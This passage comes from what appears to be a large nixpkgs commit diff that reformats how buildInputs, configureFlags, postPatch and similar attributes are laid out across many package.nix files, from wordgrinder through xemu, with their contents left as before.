   hardeningDisable = lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
diff --git a/pkgs/by-name/wo/wordgrinder/package.nix b/pkgs/by-name/wo/wordgrinder/package.nix
index 9f7d84c9bb37..12ceef70460d 100644
--- a/pkgs/by-name/wo/wordgrinder/package.nix
+++ b/pkgs/by-name/wo/wordgrinder/package.nix
@@ -44,28 +44,26 @@ stdenv.mkDerivation rec {
     ninja
   ];
 
-  buildInputs =
-    [
-      lua52Packages.lua
-      ncurses
-      readline
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libXft
-    ];
+  buildInputs = [
+    lua52Packages.lua
+    ncurses
+    readline
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libXft
+  ];
 
   # To be able to find <Xft.h>
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isLinux "-I${libXft.dev}/include/X11";
 
   # Binaries look for LuaFileSystem library (lfs.so) at runtime
-  postInstall =
-    ''
-      wrapProgram $out/bin/wordgrinder --set LUA_CPATH "${lua52Packages.luafilesystem}/lib/lua/5.2/lfs.so";
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/xwordgrinder --set LUA_CPATH "${lua52Packages.luafilesystem}/lib/lua/5.2/lfs.so";
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/wordgrinder --set LUA_CPATH "${lua52Packages.luafilesystem}/lib/lua/5.2/lfs.so";
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/xwordgrinder --set LUA_CPATH "${lua52Packages.luafilesystem}/lib/lua/5.2/lfs.so";
+  '';
 
   meta = with lib; {
     description = "Text-based word processor";
diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index c2628278fb9f..412f30fdd04a 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -43,27 +43,25 @@ stdenv.mkDerivation (finalAttrs: {
 
   passthru.updateScript = gitUpdater { rev-prefix = "wrangler@"; };
 
-  buildInputs =
-    [
-      llvmPackages.libcxx
-      llvmPackages.libunwind
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      musl # not used, but requires extra work to remove
-      xorg.libX11 # for the clipboardy package
-    ];
+  buildInputs = [
+    llvmPackages.libcxx
+    llvmPackages.libunwind
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    musl # not used, but requires extra work to remove
+    xorg.libX11 # for the clipboardy package
+  ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      nodejs
-      pnpm_9.configHook
-      jq
-      moreutils
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    nodejs
+    pnpm_9.configHook
+    jq
+    moreutils
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    autoPatchelfHook
+  ];
 
   # @cloudflare/vitest-pool-workers wanted to run a server as part of the build process
   # so I simply removed it
diff --git a/pkgs/by-name/wr/wrangler_1/package.nix b/pkgs/by-name/wr/wrangler_1/package.nix
index 042832ea99ef..203f6af3c13a 100644
--- a/pkgs/by-name/wr/wrangler_1/package.nix
+++ b/pkgs/by-name/wr/wrangler_1/package.nix
@@ -25,12 +25,13 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+    libiconv
+  ];
 
   OPENSSL_NO_VENDOR = 1;
 
diff --git a/pkgs/by-name/wx/wxGTK31/package.nix b/pkgs/by-name/wx/wxGTK31/package.nix
index 5b40cd47a5c9..55d7860a78d1 100644
--- a/pkgs/by-name/wx/wxGTK31/package.nix
+++ b/pkgs/by-name/wx/wxGTK31/package.nix
@@ -44,48 +44,46 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gtk3
-      libSM
-      libXinerama
-      libXtst
-      libXxf86vm
-      xorgproto
-    ]
-    ++ lib.optional withCurl curl
-    ++ lib.optional withMesa libGLU
-    ++ lib.optional (withWebKit && !stdenv.hostPlatform.isDarwin) webkitgtk_4_0
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libpng
-    ];
+  buildInputs = [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gtk3
+    libSM
+    libXinerama
+    libXtst
+    libXxf86vm
+    xorgproto
+  ]
+  ++ lib.optional withCurl curl
+  ++ lib.optional withMesa libGLU
+  ++ lib.optional (withWebKit && !stdenv.hostPlatform.isDarwin) webkitgtk_4_0
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libpng
+  ];
 
-  configureFlags =
-    [
-      "--disable-precomp-headers"
-      # This is the default option, but be explicit
-      "--disable-monolithic"
-      "--enable-mediactrl"
-      (if compat28 then "--enable-compat28" else "--disable-compat28")
-      (if compat30 then "--enable-compat30" else "--disable-compat30")
-    ]
-    ++ lib.optional (!withEGL) "--disable-glcanvasegl"
-    ++ lib.optional unicode "--enable-unicode"
-    ++ lib.optional withCurl "--enable-webrequest"
-    ++ lib.optional withPrivateFonts "--enable-privatefonts"
-    ++ lib.optional withMesa "--with-opengl"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--with-osx_cocoa"
-      "--with-libiconv"
-    ]
-    ++ lib.optionals withWebKit [
-      "--enable-webview"
-      "--enable-webviewwebkit"
-    ];
+  configureFlags = [
+    "--disable-precomp-headers"
+    # This is the default option, but be explicit
+    "--disable-monolithic"
+    "--enable-mediactrl"
+    (if compat28 then "--enable-compat28" else "--disable-compat28")
+    (if compat30 then "--enable-compat30" else "--disable-compat30")
+  ]
+  ++ lib.optional (!withEGL) "--disable-glcanvasegl"
+  ++ lib.optional unicode "--enable-unicode"
+  ++ lib.optional withCurl "--enable-webrequest"
+  ++ lib.optional withPrivateFonts "--enable-privatefonts"
+  ++ lib.optional withMesa "--with-opengl"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--with-osx_cocoa"
+    "--with-libiconv"
+  ]
+  ++ lib.optionals withWebKit [
+    "--enable-webview"
+    "--enable-webviewwebkit"
+  ];
 
   SEARCH_LIB = lib.optionalString (
     !stdenv.hostPlatform.isDarwin
diff --git a/pkgs/by-name/wx/wxGTK32/package.nix b/pkgs/by-name/wx/wxGTK32/package.nix
index 32d7c9489df9..6ed0be837a9d 100644
--- a/pkgs/by-name/wx/wxGTK32/package.nix
+++ b/pkgs/by-name/wx/wxGTK32/package.nix
@@ -58,62 +58,60 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-      libpng
-      libtiff
-      libjpeg_turbo
-      zlib
-      pcre2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      curl
-      gspell # wxTextCtrl spell checking
-      gtk3
-      libSM
-      libXinerama
-      libXtst
-      libXxf86vm
-      libnotify # wxNotificationMessage backend
-      libsecret # wxSecretStore backend
-      libxkbcommon # proper key codes in key events
-      xorgproto
-    ]
-    ++ lib.optional withMesa libGLU
-    ++ lib.optional (withWebKit && stdenv.hostPlatform.isLinux) webkitgtk_4_1
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      expat
-    ];
+  buildInputs = [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+    libpng
+    libtiff
+    libjpeg_turbo
+    zlib
+    pcre2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    curl
+    gspell # wxTextCtrl spell checking
+    gtk3
+    libSM
+    libXinerama
+    libXtst
+    libXxf86vm
+    libnotify # wxNotificationMessage backend
+    libsecret # wxSecretStore backend
+    libxkbcommon # proper key codes in key events
+    xorgproto
+  ]
+  ++ lib.optional withMesa libGLU
+  ++ lib.optional (withWebKit && stdenv.hostPlatform.isLinux) webkitgtk_4_1
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    expat
+  ];
 
-  configureFlags =
-    [
-      "--disable-precomp-headers"
-      # This is the default option, but be explicit
-      "--disable-monolithic"
-      "--enable-mediactrl"
-      "--with-nanosvg"
-      "--disable-rpath"
-      "--enable-repro-build"
-      "--enable-webrequest"
-      (if compat28 then "--enable-compat28" else "--disable-compat28")
-      (if compat30 then "--enable-compat30" else "--disable-compat30")
-    ]
-    ++ lib.optional unicode "--enable-unicode"
-    ++ lib.optional withMesa "--with-opengl"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--with-osx_cocoa"
-      "--with-libiconv"
-      "--with-urlsession" # for wxWebRequest
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "--with-libcurl" # for wxWebRequest
-    ]
-    ++ lib.optionals withWebKit [
-      "--enable-webview"
-      "--enable-webviewwebkit"
-    ];
+  configureFlags = [
+    "--disable-precomp-headers"
+    # This is the default option, but be explicit
+    "--disable-monolithic"
+    "--enable-mediactrl"
+    "--with-nanosvg"
+    "--disable-rpath"
+    "--enable-repro-build"
+    "--enable-webrequest"
+    (if compat28 then "--enable-compat28" else "--disable-compat28")
+    (if compat30 then "--enable-compat30" else "--disable-compat30")
+  ]
+  ++ lib.optional unicode "--enable-unicode"
+  ++ lib.optional withMesa "--with-opengl"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--with-osx_cocoa"
+    "--with-libiconv"
+    "--with-urlsession" # for wxWebRequest
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "--with-libcurl" # for wxWebRequest
+  ]
+  ++ lib.optionals withWebKit [
+    "--enable-webview"
+    "--enable-webviewwebkit"
+  ];
 
   SEARCH_LIB = lib.optionalString (
     !stdenv.hostPlatform.isDarwin
diff --git a/pkgs/by-name/wx/wxformbuilder/package.nix b/pkgs/by-name/wx/wxformbuilder/package.nix
index b04d229c6667..c87eec9291c7 100644
--- a/pkgs/by-name/wx/wxformbuilder/package.nix
+++ b/pkgs/by-name/wx/wxformbuilder/package.nix
@@ -36,17 +36,16 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i '/fixup_bundle/d' cmake/macros.cmake
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.sigtool
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      shared-mime-info
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.sigtool
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    shared-mime-info
+  ];
 
   buildInputs = [
     boost
diff --git a/pkgs/by-name/wx/wxhexeditor/package.nix b/pkgs/by-name/wx/wxhexeditor/package.nix
index 22a01f1d7bef..ed4d3b588b04 100644
--- a/pkgs/by-name/wx/wxhexeditor/package.nix
+++ b/pkgs/by-name/wx/wxhexeditor/package.nix
@@ -33,16 +33,15 @@ stdenv.mkDerivation rec {
     ./missing-semicolon.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace Makefile \
-        --replace-fail "/usr" "$out" \
-        --replace-fail "mhash; ./configure" "mhash; ./configure --prefix=$out"
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      substituteInPlace Makefile \
-        --replace-fail "-lgomp" "-lomp"
-    '';
+  postPatch = ''
+    substituteInPlace Makefile \
+      --replace-fail "/usr" "$out" \
+      --replace-fail "mhash; ./configure" "mhash; ./configure --prefix=$out"
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    substituteInPlace Makefile \
+      --replace-fail "-lgomp" "-lomp"
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/x2/x265/package.nix b/pkgs/by-name/x2/x265/package.nix
index 1f7f8cdff97c..54c93e9d7b69 100644
--- a/pkgs/by-name/x2/x265/package.nix
+++ b/pkgs/by-name/x2/x265/package.nix
@@ -53,76 +53,73 @@ stdenv.mkDerivation rec {
     hash = "sha256-oxaZxqiYBrdLAVHl5qffZd5LSQUEgv5ev4pDedevjyk=";
   };
 
-  patches =
-    [
-      ./darwin-__rdtsc.patch
-    ]
-    # TODO: remove after update to version 4.2
-    ++ lib.optionals (stdenv.hostPlatform.isAarch32 && stdenv.hostPlatform.isLinux) [
-      (fetchpatch2 {
-        url = "https://bitbucket.org/multicoreware/x265_git/commits/ddb1933598736394b646cb0f78da4a4201ffc656/raw";
-        hash = "sha256-ZH+jbVtfNJ+CwRUEgsnzyPVzajR/+4nDnUDz5RONO6c=";
-        stripLen = 1;
-      })
-    ];
+  patches = [
+    ./darwin-__rdtsc.patch
+  ]
+  # TODO: remove after update to version 4.2
+  ++ lib.optionals (stdenv.hostPlatform.isAarch32 && stdenv.hostPlatform.isLinux) [
+    (fetchpatch2 {
+      url = "https://bitbucket.org/multicoreware/x265_git/commits/ddb1933598736394b646cb0f78da4a4201ffc656/raw";
+      hash = "sha256-ZH+jbVtfNJ+CwRUEgsnzyPVzajR/+4nDnUDz5RONO6c=";
+      stripLen = 1;
+    })
+  ];
 
   sourceRoot = "x265_${version}/source";
 
-  postPatch =
-    ''
-      substituteInPlace cmake/Version.cmake \
-        --replace-fail "unknown" "${version}" \
-        --replace-fail "0.0" "${version}"
-    ''
-    # There is broken and complicated logic when setting X265_LATEST_TAG for
-    # mingwW64 builds. This bypasses the logic by setting it at the end of the
-    # file
-    + lib.optionalString stdenv.hostPlatform.isMinGW ''
-      echo 'set(X265_LATEST_TAG "${version}")' >> ./cmake/Version.cmake
-    '';
+  postPatch = ''
+    substituteInPlace cmake/Version.cmake \
+      --replace-fail "unknown" "${version}" \
+      --replace-fail "0.0" "${version}"
+  ''
+  # There is broken and complicated logic when setting X265_LATEST_TAG for
+  # mingwW64 builds. This bypasses the logic by setting it at the end of the
+  # file
+  + lib.optionalString stdenv.hostPlatform.isMinGW ''
+    echo 'set(X265_LATEST_TAG "${version}")' >> ./cmake/Version.cmake
+  '';
 
   nativeBuildInputs = [
     cmake
     nasm
-  ] ++ lib.optionals (numaSupport) [ numactl ];
+  ]
+  ++ lib.optionals (numaSupport) [ numactl ];
 
-  cmakeFlags =
-    [
-      "-DENABLE_ALPHA=ON"
-      "-DENABLE_MULTIVIEW=ON"
-      "-DENABLE_SCC_EXT=ON"
-      "-Wno-dev"
-      (mkFlag custatsSupport "DETAILED_CU_STATS")
-      (mkFlag debugSupport "CHECKED_BUILD")
-      (mkFlag ppaSupport "ENABLE_PPA")
-      (mkFlag vtuneSupport "ENABLE_VTUNE")
-      (mkFlag werrorSupport "WARNINGS_AS_ERRORS")
-    ]
-    # Clang does not support the endfunc directive so use GCC.
-    ++ lib.optional (
-      stdenv.cc.isClang && !stdenv.targetPlatform.isDarwin && !stdenv.targetPlatform.isFreeBSD
-    ) "-DCMAKE_ASM_COMPILER=${gccStdenv.cc}/bin/${gccStdenv.cc.targetPrefix}gcc"
-    # Neon support
-    ++ lib.optionals (neonSupport && stdenv.hostPlatform.isAarch32) [
-      "-DENABLE_NEON=ON"
-      "-DCPU_HAS_NEON=ON"
-      "-DENABLE_ASSEMBLY=ON"
-    ];
+  cmakeFlags = [
+    "-DENABLE_ALPHA=ON"
+    "-DENABLE_MULTIVIEW=ON"
+    "-DENABLE_SCC_EXT=ON"
+    "-Wno-dev"
+    (mkFlag custatsSupport "DETAILED_CU_STATS")
+    (mkFlag debugSupport "CHECKED_BUILD")
+    (mkFlag ppaSupport "ENABLE_PPA")
+    (mkFlag vtuneSupport "ENABLE_VTUNE")
+    (mkFlag werrorSupport "WARNINGS_AS_ERRORS")
+  ]
+  # Clang does not support the endfunc directive so use GCC.
+  ++ lib.optional (
+    stdenv.cc.isClang && !stdenv.targetPlatform.isDarwin && !stdenv.targetPlatform.isFreeBSD
+  ) "-DCMAKE_ASM_COMPILER=${gccStdenv.cc}/bin/${gccStdenv.cc.targetPrefix}gcc"
+  # Neon support
+  ++ lib.optionals (neonSupport && stdenv.hostPlatform.isAarch32) [
+    "-DENABLE_NEON=ON"
+    "-DCPU_HAS_NEON=ON"
+    "-DENABLE_ASSEMBLY=ON"
+  ];
 
-  cmakeStaticLibFlags =
-    [
-      "-DHIGH_BIT_DEPTH=ON"
-      "-DENABLE_CLI=OFF"
-      "-DENABLE_SHARED=OFF"
-      "-DEXPORT_C_API=OFF"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isPower [
-      "-DENABLE_ALTIVEC=OFF" # https://bitbucket.org/multicoreware/x265_git/issues/320/fail-to-build-on-power8-le
-    ]
-    ++ lib.optionals isCross [
-      (mkFlag stdenv.hostPlatform.isAarch32 "CROSS_COMPILE_ARM")
-      (mkFlag stdenv.hostPlatform.isAarch64 "CROSS_COMPILE_ARM64")
-    ];
+  cmakeStaticLibFlags = [
+    "-DHIGH_BIT_DEPTH=ON"
+    "-DENABLE_CLI=OFF"
+    "-DENABLE_SHARED=OFF"
+    "-DEXPORT_C_API=OFF"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isPower [
+    "-DENABLE_ALTIVEC=OFF" # https://bitbucket.org/multicoreware/x265_git/issues/320/fail-to-build-on-power8-le
+  ]
+  ++ lib.optionals isCross [
+    (mkFlag stdenv.hostPlatform.isAarch32 "CROSS_COMPILE_ARM")
+    (mkFlag stdenv.hostPlatform.isAarch64 "CROSS_COMPILE_ARM64")
+  ];
 
   preConfigure =
     lib.optionalString multibitdepthSupport ''
@@ -165,14 +162,13 @@ stdenv.mkDerivation rec {
     runHook postCheck
   '';
 
-  postInstall =
-    ''
-      rm -f ${placeholder "out"}/lib/*.a
-    ''
-    # For mingw, libs are located in $out/bin not $out/lib
-    + lib.optionalString stdenv.hostPlatform.isMinGW ''
-      ln -s $out/bin/*.dll $out/lib
-    '';
+  postInstall = ''
+    rm -f ${placeholder "out"}/lib/*.a
+  ''
+  # For mingw, libs are located in $out/bin not $out/lib
+  + lib.optionalString stdenv.hostPlatform.isMinGW ''
+    ln -s $out/bin/*.dll $out/lib
+  '';
 
   meta = {
     description = "Library for encoding H.265/HEVC video streams";
diff --git a/pkgs/by-name/x3/x3270/package.nix b/pkgs/by-name/x3/x3270/package.nix
index da3519ae0fd4..896bd6420c62 100644
--- a/pkgs/by-name/x3/x3270/package.nix
+++ b/pkgs/by-name/x3/x3270/package.nix
@@ -51,29 +51,28 @@ stdenv.mkDerivation rec {
   pathsToLink = [ "/share/man" ];
 
   nativeBuildInputs = [ m4 ];
-  buildInputs =
-    [
-      expat
-      libX11
-      libXt
-      libXaw
-      libXmu
-      bdftopcf
-      mkfontdir
-      fontadobe100dpi
-      fontadobeutopia100dpi
-      fontbh100dpi
-      fontbhlucidatypewriter100dpi
-      fontbitstream100dpi
-      tcl
-      ncurses
-      expat
-      openssl
-      readline
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    expat
+    libX11
+    libXt
+    libXaw
+    libXmu
+    bdftopcf
+    mkfontdir
+    fontadobe100dpi
+    fontadobeutopia100dpi
+    fontbh100dpi
+    fontbhlucidatypewriter100dpi
+    fontbitstream100dpi
+    tcl
+    ncurses
+    expat
+    openssl
+    readline
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   meta = with lib; {
     description = "IBM 3270 terminal emulator for the X Window System";
diff --git a/pkgs/by-name/xa/xar/package.nix b/pkgs/by-name/xa/xar/package.nix
index 68267014c683..842f1a1d2422 100644
--- a/pkgs/by-name/xa/xar/package.nix
+++ b/pkgs/by-name/xa/xar/package.nix
@@ -83,18 +83,17 @@ stdenv.mkDerivation (finalAttrs: {
     ]
   );
 
-  buildInputs =
-    [
-      # NB we use OpenSSL instead of CommonCrypto on Darwin.
-      openssl
-      zlib
-      libxml2
-      bzip2
-      xz
-      e2fsprogs
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux acl
-    ++ lib.optional stdenv.hostPlatform.isMusl musl-fts;
+  buildInputs = [
+    # NB we use OpenSSL instead of CommonCrypto on Darwin.
+    openssl
+    zlib
+    libxml2
+    bzip2
+    xz
+    e2fsprogs
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux acl
+  ++ lib.optional stdenv.hostPlatform.isMusl musl-fts;
 
   passthru =
     let
diff --git a/pkgs/by-name/xa/xautoclick/package.nix b/pkgs/by-name/xa/xautoclick/package.nix
index fb1861842d17..be79532cef07 100644
--- a/pkgs/by-name/xa/xautoclick/package.nix
+++ b/pkgs/by-name/xa/xautoclick/package.nix
@@ -32,22 +32,21 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      libevdev
-      xorg.libXtst
-    ]
-    ++ lib.optionals gtkSupport [
-      gtk3
-      pcre
-      glib
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals fltkSupport [ fltk ]
-    ++ lib.optionals qtSupport [
-      qt5.qtbase
-      qt5.wrapQtAppsHook
-    ];
+  buildInputs = [
+    libevdev
+    xorg.libXtst
+  ]
+  ++ lib.optionals gtkSupport [
+    gtk3
+    pcre
+    glib
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals fltkSupport [ fltk ]
+  ++ lib.optionals qtSupport [
+    qt5.qtbase
+    qt5.wrapQtAppsHook
+  ];
 
   meta = with lib; {
     description = "Autoclicker application, which enables you to automatically click the left mousebutton";
diff --git a/pkgs/by-name/xa/xavs/package.nix b/pkgs/by-name/xa/xavs/package.nix
index e136438e09c7..a79e5a5a234c 100644
--- a/pkgs/by-name/xa/xavs/package.nix
+++ b/pkgs/by-name/xa/xavs/package.nix
@@ -16,26 +16,25 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  patchPhase =
-    ''
-      patchShebangs configure
-      patchShebangs config.sub
-      patchShebangs version.sh
-      patchShebangs tools/countquant_xavs.pl
-      patchShebangs tools/patcheck
-      patchShebangs tools/regression-test.pl
-      patchShebangs tools/xavs-format
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace config.guess --replace 'uname -p' 'uname -m'
-      substituteInPlace configure \
-        --replace '-O4' '-O3' \
-        --replace ' -s ' ' ' \
-        --replace 'LDFLAGS -s' 'LDFLAGS' \
-        --replace '-dynamiclib' ' ' \
-        --replace '-falign-loops=16' ' '
-      substituteInPlace Makefile --replace '-Wl,-soname,' ' '
-    '';
+  patchPhase = ''
+    patchShebangs configure
+    patchShebangs config.sub
+    patchShebangs version.sh
+    patchShebangs tools/countquant_xavs.pl
+    patchShebangs tools/patcheck
+    patchShebangs tools/regression-test.pl
+    patchShebangs tools/xavs-format
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace config.guess --replace 'uname -p' 'uname -m'
+    substituteInPlace configure \
+      --replace '-O4' '-O3' \
+      --replace ' -s ' ' ' \
+      --replace 'LDFLAGS -s' 'LDFLAGS' \
+      --replace '-dynamiclib' ' ' \
+      --replace '-falign-loops=16' ' '
+    substituteInPlace Makefile --replace '-Wl,-soname,' ' '
+  '';
 
   configureFlags = [
     "--enable-pic"
diff --git a/pkgs/by-name/xc/xcbuild/package.nix b/pkgs/by-name/xc/xcbuild/package.nix
index b488c3ffbf78..cec703c5a6be 100644
--- a/pkgs/by-name/xc/xcbuild/package.nix
+++ b/pkgs/by-name/xc/xcbuild/package.nix
@@ -89,28 +89,27 @@ stdenv.mkDerivation (finalAttrs: {
     cp -r --no-preserve=all ${linenoise} ThirdParty/linenoise
   '';
 
-  postPatch =
-    ''
-      substituteInPlace Libraries/pbxbuild/Sources/Tool/TouchResolver.cpp \
-        --replace-fail "/usr/bin/touch" "touch"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      # Fix build on gcc-13 due to missing includes
-      sed -e '1i #include <cstdint>' -i \
-        Libraries/libutil/Headers/libutil/Permissions.h \
-        Libraries/pbxbuild/Headers/pbxbuild/Tool/AuxiliaryFile.h \
-        Libraries/pbxbuild/Headers/pbxbuild/Tool/Invocation.h
+  postPatch = ''
+    substituteInPlace Libraries/pbxbuild/Sources/Tool/TouchResolver.cpp \
+      --replace-fail "/usr/bin/touch" "touch"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    # Fix build on gcc-13 due to missing includes
+    sed -e '1i #include <cstdint>' -i \
+      Libraries/libutil/Headers/libutil/Permissions.h \
+      Libraries/pbxbuild/Headers/pbxbuild/Tool/AuxiliaryFile.h \
+      Libraries/pbxbuild/Headers/pbxbuild/Tool/Invocation.h
 
-      # Avoid a glibc >= 2.25 deprecation warning that gets fatal via -Werror.
-      sed 1i'#include <sys/sysmacros.h>' \
-        -i Libraries/xcassets/Headers/xcassets/Slot/SystemVersion.h
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Apple Open Sourced LZFSE, but not libcompression, and it isn't
-      # part of an impure framework we can add
-      substituteInPlace Libraries/libcar/Sources/Rendition.cpp \
-        --replace "#if HAVE_LIBCOMPRESSION" "#if 0"
-    '';
+    # Avoid a glibc >= 2.25 deprecation warning that gets fatal via -Werror.
+    sed 1i'#include <sys/sysmacros.h>' \
+      -i Libraries/xcassets/Headers/xcassets/Slot/SystemVersion.h
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Apple Open Sourced LZFSE, but not libcompression, and it isn't
+    # part of an impure framework we can add
+    substituteInPlace Libraries/libcar/Sources/Rendition.cpp \
+      --replace "#if HAVE_LIBCOMPRESSION" "#if 0"
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/xc/xcodegen/package.nix b/pkgs/by-name/xc/xcodegen/package.nix
index f97bd7ce704f..85a39c3baa0d 100644
--- a/pkgs/by-name/xc/xcodegen/package.nix
+++ b/pkgs/by-name/xc/xcodegen/package.nix
@@ -40,14 +40,12 @@ swiftPackages.stdenv.mkDerivation (finalAttrs: {
 
   # The helper provides a configure snippet that will prepare all dependencies
   # in the correct place, where SwiftPM expects them.
-  configurePhase =
-    generated.configure
-    + ''
-      # Replace the dependency symlink with a writable copy
-      swiftpmMakeMutable Spectre
-      # Now apply a patch
-      patch -p1 -d .build/checkouts/Spectre -i ${./0001-spectre-xct-record.patch}
-    '';
+  configurePhase = generated.configure + ''
+    # Replace the dependency symlink with a writable copy
+    swiftpmMakeMutable Spectre
+    # Now apply a patch
+    patch -p1 -d .build/checkouts/Spectre -i ${./0001-spectre-xct-record.patch}
+  '';
 
   installPhase = ''
     mkdir -p $out/bin $out/share/xcodegen
diff --git a/pkgs/by-name/xc/xcpc/package.nix b/pkgs/by-name/xc/xcpc/package.nix
index 9bcd3f531785..37ef160b643a 100644
--- a/pkgs/by-name/xc/xcpc/package.nix
+++ b/pkgs/by-name/xc/xcpc/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      glib
-      libdsk
-      libXaw
-      libX11
-      libXext
-    ]
-    ++ lib.optional libDSKSupport libdsk
-    ++ lib.optional motifSupport lesstif;
+  buildInputs = [
+    glib
+    libdsk
+    libXaw
+    libX11
+    libXext
+  ]
+  ++ lib.optional libDSKSupport libdsk
+  ++ lib.optional motifSupport lesstif;
 
   meta = with lib; {
     description = "Portable Amstrad CPC 464/664/6128 emulator written in C";
diff --git a/pkgs/by-name/xd/xdg-user-dirs/package.nix b/pkgs/by-name/xd/xdg-user-dirs/package.nix
index d11223121392..b9d6697f9459 100644
--- a/pkgs/by-name/xd/xdg-user-dirs/package.nix
+++ b/pkgs/by-name/xd/xdg-user-dirs/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
     libxslt
     docbook_xsl
     docbook_xml_dtd_43
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];
 
   preFixup = ''
     # fallback values need to be last
diff --git a/pkgs/by-name/xe/xed/package.nix b/pkgs/by-name/xe/xed/package.nix
index 1bb99548bb5e..93148ef1baa4 100644
--- a/pkgs/by-name/xe/xed/package.nix
+++ b/pkgs/by-name/xe/xed/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [
     mbuild
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.bintools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.bintools ];
 
   buildPhase = ''
     patchShebangs mfile.py
diff --git a/pkgs/by-name/xe/xemu/package.nix b/pkgs/by-name/xe/xemu/package.nix
index d11583b1b588..b89fb23ea126 100644
--- a/pkgs/by-name/xe/xemu/package.nix
+++ b/pkgs/by-name/xe/xemu/package.nix
@@ -37,20 +37,19 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-lTZ5j5ULh4GFW4zlQy4l7e4zr8TEIvenGNC59O6G0Wg=";
   };
 
-  nativeBuildInputs =
-    [
-      SDL2
-      meson
-      ninja
-      perl
-      pkg-config
-      which
-      wrapGAppsHook3
-    ]
